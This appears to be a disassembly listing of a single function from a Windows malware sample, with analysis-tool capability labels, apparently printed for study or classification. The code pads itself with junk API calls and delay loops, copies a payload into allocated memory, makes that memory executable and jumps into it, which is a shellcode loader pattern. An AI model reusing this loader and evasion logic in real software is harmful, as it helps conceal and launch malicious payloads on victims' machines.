Function at 0x403b9e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403bcc
inc edi
cmp edi, 0x67d12
jl 0x403bae
cmp dword [0x283e620], 0x93
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
jne 0x403cb6
push 0x403720
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x403734
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403744
push 0x40374c
push 0x403768
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.004041c4
pop ecx
push esi
push esi
call fcn.0040482d
push esi
call fcn.00404720
add esp, 0xc
push esi
push esi
call fcn.0040498d
push esi
push esi
call fcn.00404197
push esi
push esi
call fcn.0040474f
add esp, 0x18
mov eax, dword [0x445c1c]
add dword [0x283e620], 0x1134b
push 0x403780
mov dword [0x283e624], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push dword [0x283e620]
mov dword [0x283d7dc], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x283e620]
mov dword [0x283d274], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuBarInfo]
push esi
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x403d04
cmp dword [0x283e620], esi
jbe 0x403d84
mov eax, dword [0x283e624]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x283d274]
mov byte [ecx + edi], al
cmp dword [0x283e620], 0x490
jne 0x403d7b
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x283e620]
jb 0x403d2d
xor edi, edi
mov eax, dword [0x283e620]
add eax, edi
cmp eax, 0x8d
jne 0x403dca
push esi
lea eax, [ebp - 0x840]
push eax
push esi
push 0x40379c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
push esi
push esi
push esi
call ebx
push 0x4037a4
push 0x4037d8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc edi
cmp edi, 0x38681
jl 0x403d86
call fcn.00403ac5
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x403df8
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x1176b
mov eax, dword [ebp - 4]
add dword [0x283d274], eax
inc edi
cmp edi, 0x674bd
jl 0x403dda
push 0x7b
pop edi
cmp dword [0x283e620], 0x86
jne 0x403e4b
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4037fc
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
dec edi
jne 0x403e04
push 0x403818
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x283d274]
pop edi
pop esi
pop ebx
leave
ret